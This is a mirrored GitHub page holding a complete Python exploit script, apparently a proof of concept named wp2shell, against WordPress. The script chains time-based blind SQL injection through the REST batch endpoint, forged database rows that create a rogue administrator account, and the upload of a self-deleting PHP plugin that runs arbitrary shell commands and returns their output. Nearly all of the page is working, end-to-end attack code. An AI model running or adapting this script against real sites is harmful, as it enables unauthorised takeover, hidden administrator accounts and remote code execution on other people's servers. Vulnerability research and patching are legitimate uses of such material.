mirror of
https://github.com/sergiointel/wp2shell-poc
synced 2026-07-18 19:05:14 +00:00
Sergio
adf12ec0cd
add an IoC ish for some of the malicious users. I know this isn't very robust, it's just slightly for lazy people.
477 lines
14 KiB
Python
477 lines
14 KiB
Python
#!/usr/bin/env python3
|
|
import base64
|
|
import hashlib
|
|
import html
|
|
import io
|
|
import json
|
|
import re
|
|
import secrets
|
|
import statistics
|
|
import sys
|
|
import time
|
|
import urllib.parse
|
|
import urllib.request
|
|
import uuid
|
|
import zipfile
|
|
from http.cookiejar import CookieJar
|
|
|
|
if (
|
|
len(sys.argv) not in (2, 3, 4)
|
|
or (len(sys.argv) == 4 and sys.argv[2] != "-c")
|
|
or (len(sys.argv) == 3 and sys.argv[2] == "-c")
|
|
):
|
|
raise SystemExit(f'usage: {sys.argv[0]} TARGET_URL ["SELECT ..." | -c COMMAND]')
|
|
base_url = sys.argv[1].rstrip("/")
|
|
batch_url = f"{base_url}/?rest_route=/batch/v1"
|
|
|
|
|
|
|
|
def send_batch(requests, timeout=30):
|
|
request = urllib.request.Request(
|
|
batch_url,
|
|
data=json.dumps(
|
|
{
|
|
"requests": [
|
|
{"method": "POST", "path": "http://:"},
|
|
{
|
|
"method": "POST",
|
|
"path": "/wp/v2/posts",
|
|
"body": {"requests": requests},
|
|
},
|
|
{"method": "POST", "path": "/batch/v1"},
|
|
]
|
|
}
|
|
).encode(),
|
|
headers={"Content-Type": "application/json"},
|
|
method="POST",
|
|
)
|
|
with urllib.request.urlopen(request, timeout=timeout) as response:
|
|
return response.read()
|
|
|
|
|
|
|
|
sleep_delay = 0.4
|
|
def probetime(condition):
|
|
started = time.perf_counter()
|
|
send_batch(
|
|
[
|
|
{"method": "GET", "path": "http://:"},
|
|
{
|
|
"method": "GET",
|
|
"path": "/wp/v2/categories?"
|
|
+ urllib.parse.urlencode(
|
|
{"author_exclude": f"SELECT IF(({condition}),SLEEP({sleep_delay}),0)"}
|
|
),
|
|
},
|
|
{"method": "GET", "path": "/wp/v2/posts"},
|
|
],
|
|
10,
|
|
)
|
|
return time.perf_counter() - started
|
|
|
|
|
|
|
|
#desync the batch handlers and push the delay above current jitter
|
|
for _ in range(3):
|
|
fast_samples = [probetime("1=0") for _ in range(5)]
|
|
slow_samples = [probetime("1=1") for _ in range(3)]
|
|
fast = statistics.median(fast_samples)
|
|
slow = statistics.median(slow_samples)
|
|
jitter = statistics.median(abs(sample - fast) for sample in fast_samples)
|
|
if slow - fast > max(0.06, jitter * 8):
|
|
break
|
|
sleep_delay *= 2
|
|
else:
|
|
raise SystemExit("[-] not vulnerable")
|
|
threshold = (fast + slow) / 2
|
|
retry_band = max(0.02, jitter * 3)
|
|
if len(sys.argv) == 2:
|
|
print(f"[+] vulnerable: {fast:.3f}s/{slow:.3f}s")
|
|
raise SystemExit(0)
|
|
|
|
def iscondtrue(condition):
|
|
elapsed = probetime(condition)
|
|
if abs(elapsed - threshold) > retry_band:
|
|
return elapsed > threshold
|
|
return statistics.median([elapsed, probetime(condition), probetime(condition)]) > threshold
|
|
|
|
|
|
|
|
def getscalar(query, max_length):
|
|
expression = f"COALESCE(({query}),'')"
|
|
lower, upper = 0, max_length
|
|
|
|
while lower < upper:
|
|
middle = (lower + upper + 1) // 2
|
|
if iscondtrue(f"CHAR_LENGTH({expression}) >= {middle}"):
|
|
lower = middle
|
|
else:
|
|
upper = middle - 1
|
|
|
|
result = ""
|
|
for position in range(1, lower + 1):
|
|
lower_byte, upper_byte = 32, 126
|
|
while lower_byte < upper_byte:
|
|
middle = (lower_byte + upper_byte + 1) // 2
|
|
if iscondtrue(
|
|
f"ASCII(SUBSTRING({expression},{position},1)) >= {middle}"
|
|
):
|
|
lower_byte = middle
|
|
else:
|
|
upper_byte = middle - 1
|
|
result += chr(lower_byte)
|
|
|
|
return result
|
|
|
|
|
|
def getint(query):
|
|
expression = f"COALESCE(({query}),0)"
|
|
lower, upper = 0, 1
|
|
|
|
while iscondtrue(f"{expression} >= {upper}"):
|
|
lower, upper = upper, upper * 2
|
|
|
|
while lower < upper:
|
|
middle = (lower + upper + 1) // 2
|
|
if iscondtrue(f"{expression} >= {middle}"):
|
|
lower = middle
|
|
else:
|
|
upper = middle - 1
|
|
|
|
return lower
|
|
|
|
|
|
if sys.argv[2] != "-c":
|
|
print(getscalar(sys.argv[2], 64))
|
|
raise SystemExit(0)
|
|
|
|
|
|
def sql_hex(value):
|
|
return f"0x{value.encode().hex()}" if value else "''"
|
|
|
|
|
|
def post_row(post_id, content, title, status, name, parent, post_type):
|
|
return ",".join(
|
|
(
|
|
str(post_id),
|
|
"1",
|
|
sql_hex("2020-01-01 00:00:00"),
|
|
sql_hex("2020-01-01 00:00:00"),
|
|
sql_hex(content),
|
|
sql_hex(title),
|
|
"''",
|
|
sql_hex(status),
|
|
sql_hex("closed"),
|
|
sql_hex("closed"),
|
|
"''",
|
|
sql_hex(name),
|
|
"''",
|
|
"''",
|
|
sql_hex("2020-01-01 00:00:00"),
|
|
sql_hex("2020-01-01 00:00:00"),
|
|
"''",
|
|
str(parent),
|
|
"''",
|
|
"0",
|
|
sql_hex(post_type),
|
|
"''",
|
|
"0",
|
|
)
|
|
)
|
|
|
|
|
|
with urllib.request.urlopen(
|
|
f"{base_url}/?rest_route=/wp/v2/posts&per_page=1&_fields=link",
|
|
timeout=15,
|
|
) as response:
|
|
published_items = json.loads(response.read())
|
|
|
|
if not published_items or not published_items[0].get("link"):
|
|
raise SystemExit("[-] oembed fail")
|
|
|
|
#seed 3 oembed posts, so the forged cache objects have database backing.
|
|
token = secrets.token_hex(6)
|
|
public_post = urllib.parse.urlsplit(published_items[0]["link"])
|
|
embed_urls = [
|
|
urllib.parse.urlunsplit(
|
|
(
|
|
public_post.scheme,
|
|
public_post.netloc,
|
|
public_post.path,
|
|
public_post.query,
|
|
f"{token}{index}",
|
|
)
|
|
)
|
|
for index in range(3)
|
|
]
|
|
|
|
seed_content = "".join(
|
|
f'[embed width="500" height="750"]{embed_url}[/embed]' for embed_url in embed_urls
|
|
)
|
|
seed_query = (
|
|
"1) AND 1=0 UNION ALL SELECT "
|
|
+ post_row(0, seed_content, "seed", "publish", "seed", 0, "post")
|
|
+ " -- -"
|
|
)
|
|
send_batch(
|
|
[
|
|
{"method": "GET", "path": "http://:"},
|
|
{
|
|
"method": "GET",
|
|
"path": "/wp/v2/widgets?"
|
|
+ urllib.parse.urlencode(
|
|
{
|
|
"author_exclude": seed_query,
|
|
"per_page": -1,
|
|
"orderby": "none",
|
|
"context": "view",
|
|
}
|
|
),
|
|
},
|
|
{"method": "GET", "path": "/wp/v2/posts"},
|
|
],
|
|
60,
|
|
)
|
|
|
|
#recover seeded row IDs through blind SQLi
|
|
posts_table = getscalar(
|
|
"SELECT TABLE_NAME "
|
|
"FROM INFORMATION_SCHEMA.TABLES "
|
|
"WHERE TABLE_SCHEMA=DATABASE() "
|
|
"AND RIGHT(TABLE_NAME,6)=0x5f706f737473 "
|
|
"ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1",
|
|
64,
|
|
)
|
|
if not re.fullmatch(r"[A-Za-z0-9_$]+", posts_table):
|
|
raise SystemExit("[-] SQL failed")
|
|
|
|
table_prefix = posts_table[:-5]
|
|
admin_id = getint(
|
|
f"SELECT u.ID FROM `{table_prefix}users` u "
|
|
f"JOIN `{table_prefix}usermeta` m ON m.user_id=u.ID "
|
|
f"WHERE m.meta_key={sql_hex(table_prefix + 'capabilities')} "
|
|
"AND INSTR(m.meta_value,"
|
|
+ sql_hex('s:13:"administrator";b:1;')
|
|
+ ")>0 "
|
|
"ORDER BY u.ID LIMIT 1"
|
|
)
|
|
if admin_id < 1:
|
|
raise SystemExit("[-] admin failed")
|
|
|
|
embedsize = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
|
|
cache_post_ids = []
|
|
|
|
for embed_url in embed_urls:
|
|
cache_key = hashlib.md5((embed_url + embedsize).encode()).hexdigest()
|
|
cache_post_id = getint(
|
|
f"SELECT ID FROM `{posts_table}` "
|
|
"WHERE post_type=0x6f656d6265645f6361636865 "
|
|
f"AND post_name=0x{cache_key.encode().hex()} "
|
|
"ORDER BY ID DESC LIMIT 1",
|
|
)
|
|
if cache_post_id < 1:
|
|
raise SystemExit("[-] oEmbed failed")
|
|
cache_post_ids.append(cache_post_id)
|
|
|
|
if len(set(cache_post_ids)) != 3:
|
|
raise SystemExit("[-] oEmbed failed")
|
|
|
|
username = f"w2s_{token}"
|
|
password = f"W2s!{secrets.token_urlsafe(15)}"
|
|
email = f"{username}@wp2shell.shellcode.lol"
|
|
outer_loop_id = 1800000000 + secrets.randbelow(100000000)
|
|
nav_item_id = outer_loop_id + 1
|
|
inner_loop_id = outer_loop_id + 2
|
|
|
|
changeset = json.dumps(
|
|
{
|
|
f"nav_menu_item[{nav_item_id}]": {
|
|
"value": {
|
|
"object_id": 0,
|
|
"object": "",
|
|
"menu_item_parent": 0,
|
|
"position": 0,
|
|
"type": "custom",
|
|
"title": "proof",
|
|
"url": "https://github.com/sergiointel/wp2shell-poc",
|
|
"target": "",
|
|
"attr_title": "",
|
|
"description": "proof",
|
|
"classes": "",
|
|
"xfn": "",
|
|
"status": "publish",
|
|
"nav_menu_term_id": 0,
|
|
"_invalid": False,
|
|
},
|
|
"type": "nav_menu_item",
|
|
"user_id": admin_id,
|
|
}
|
|
},
|
|
separators=(",", ":"),
|
|
)
|
|
|
|
#recast the seeded rows into a changeset, oEmbed trigger, and parse_request hook
|
|
poisoned_posts = (
|
|
post_row(0, f'[embed width="500" height="750"]{embed_urls[1]}[/embed]', "trigger", "publish", "trigger", 0, "post"),
|
|
post_row(cache_post_ids[0], changeset, "changeset", "future", str(uuid.uuid4()), outer_loop_id, "customize_changeset"),
|
|
post_row(outer_loop_id, "outer", "outer", "draft", "outer", cache_post_ids[0], "post"),
|
|
post_row(cache_post_ids[1], "", "cache", "publish", "cache", cache_post_ids[0], "post"),
|
|
post_row(nav_item_id, "nav", "nav", "publish", "nav", cache_post_ids[2], "nav_menu_item"),
|
|
post_row(cache_post_ids[2], "parse", "parse", "parse", "parse", inner_loop_id, "request"),
|
|
post_row(inner_loop_id, "inner", "inner", "draft", "inner", cache_post_ids[2], "post"),
|
|
)
|
|
escalation_query = (
|
|
"1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(poisoned_posts) + " -- -"
|
|
)
|
|
new_admin = {
|
|
"username": username,
|
|
"email": email,
|
|
"password": password,
|
|
"roles": ["administrator"],
|
|
}
|
|
|
|
#publish as the extracted admin, then re-enter the same batch, and run user creation
|
|
send_batch(
|
|
[
|
|
{"method": "GET", "path": "http://:"},
|
|
{
|
|
"method": "GET",
|
|
"path": "/wp/v2/widgets?"
|
|
+ urllib.parse.urlencode(
|
|
{
|
|
"author_exclude": escalation_query,
|
|
"per_page": -1,
|
|
"orderby": "none",
|
|
"context": "view",
|
|
}
|
|
),
|
|
},
|
|
{"method": "GET", "path": "/wp/v2/posts"},
|
|
{"method": "POST", "path": "/wp/v2/users", "body": new_admin},
|
|
{"method": "POST", "path": "/wp/v2/users", "body": new_admin},
|
|
],
|
|
60,
|
|
)
|
|
|
|
session = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(CookieJar()))
|
|
session.open(f"{base_url}/wp-login.php", timeout=15).read()
|
|
login_request = urllib.request.Request(
|
|
f"{base_url}/wp-login.php",
|
|
data=urllib.parse.urlencode(
|
|
{
|
|
"log": username,
|
|
"pwd": password,
|
|
"wp-submit": "Log In",
|
|
"redirect_to": f"{base_url}/wp-admin/",
|
|
"testcookie": "1",
|
|
}
|
|
).encode(),
|
|
method="POST",
|
|
)
|
|
|
|
session.open(login_request, timeout=30).read()
|
|
with session.open(f"{base_url}/wp-admin/users.php", timeout=30) as response:
|
|
users_page = response.read().decode(errors="replace")
|
|
|
|
if username not in users_page:
|
|
raise SystemExit("[-] admin failed")
|
|
|
|
#return command output, and deactivate and unlink
|
|
plugin_slug = f"sgio-wp2shell-{token}"
|
|
command_route = secrets.token_hex(12)
|
|
command_marker = secrets.token_hex(12)
|
|
plugin_source = f"""<?php
|
|
/* Plugin Name: {plugin_slug} */
|
|
add_action('rest_api_init', function () {{
|
|
register_rest_route('wp2shell/v1', '/{command_route}', array(
|
|
'methods' => 'POST',
|
|
'permission_callback' => '__return_true',
|
|
'callback' => function ($request) {{
|
|
ob_start();
|
|
passthru(base64_decode($request->get_param('c')) . ' 2>&1');
|
|
$output = ob_get_clean();
|
|
require_once ABSPATH . 'wp-admin/includes/plugin.php';
|
|
deactivate_plugins(plugin_basename(__FILE__), true);
|
|
@unlink(__FILE__);
|
|
return new WP_REST_Response(array(
|
|
'marker' => '{command_marker}',
|
|
'output' => $output,
|
|
));
|
|
}},
|
|
));
|
|
}});
|
|
""".encode()
|
|
|
|
plugin_zip = io.BytesIO()
|
|
with zipfile.ZipFile(plugin_zip, "w", zipfile.ZIP_DEFLATED) as archive:
|
|
archive.writestr(f"{plugin_slug}/{plugin_slug}.php", plugin_source)
|
|
|
|
with session.open(
|
|
f"{base_url}/wp-admin/plugin-install.php?tab=upload", timeout=30
|
|
) as response:
|
|
upload_page = response.read().decode(errors="replace")
|
|
|
|
nonce = re.search(r'name="_wpnonce" value="([^"]+)"', upload_page)
|
|
if not nonce:
|
|
raise SystemExit("[-] plugin failed")
|
|
|
|
boundary = f"----wp2shell{secrets.token_hex(12)}"
|
|
multipart = b"".join(
|
|
(
|
|
(
|
|
f"--{boundary}\r\n"
|
|
'Content-Disposition: form-data; name="_wpnonce"\r\n\r\n'
|
|
f"{nonce.group(1)}\r\n"
|
|
).encode(),
|
|
(
|
|
f"--{boundary}\r\n"
|
|
'Content-Disposition: form-data; name="_wp_http_referer"\r\n\r\n'
|
|
"/wp-admin/plugin-install.php?tab=upload\r\n"
|
|
).encode(),
|
|
(
|
|
f"--{boundary}\r\n"
|
|
f'Content-Disposition: form-data; name="pluginzip"; filename="{plugin_slug}.zip"\r\n'
|
|
"Content-Type: application/zip\r\n\r\n"
|
|
).encode(),
|
|
plugin_zip.getvalue(),
|
|
f"\r\n--{boundary}--\r\n".encode(),
|
|
)
|
|
)
|
|
upload_request = urllib.request.Request(
|
|
f"{base_url}/wp-admin/update.php?action=upload-plugin",
|
|
data=multipart,
|
|
headers={"Content-Type": f"multipart/form-data; boundary={boundary}"},
|
|
method="POST",
|
|
)
|
|
|
|
with session.open(upload_request, timeout=60) as response:
|
|
install_page = response.read().decode(errors="replace")
|
|
|
|
activation_link = re.search(
|
|
r'href="([^"]*plugins\.php\?action=activate[^"]*)"', install_page
|
|
)
|
|
if not activation_link:
|
|
raise SystemExit("[-] plugin failed")
|
|
|
|
session.open(
|
|
urllib.parse.urljoin(
|
|
f"{base_url}/wp-admin/", html.unescape(activation_link.group(1))
|
|
),
|
|
timeout=30,
|
|
).read()
|
|
|
|
command_request = urllib.request.Request(
|
|
f"{base_url}/?rest_route=/wp2shell/v1/{command_route}",
|
|
data=json.dumps({"c": base64.b64encode(sys.argv[3].encode()).decode()}).encode(),
|
|
headers={"Content-Type": "application/json"},
|
|
method="POST",
|
|
)
|
|
with urllib.request.urlopen(command_request, timeout=60) as response:
|
|
command_result = json.loads(response.read())
|
|
|
|
if command_result.get("marker") != command_marker:
|
|
raise SystemExit("[-] command failed")
|
|
|
|
print(f"[+] administrator: {username}:{password}")
|
|
print(command_result["output"], end="")
|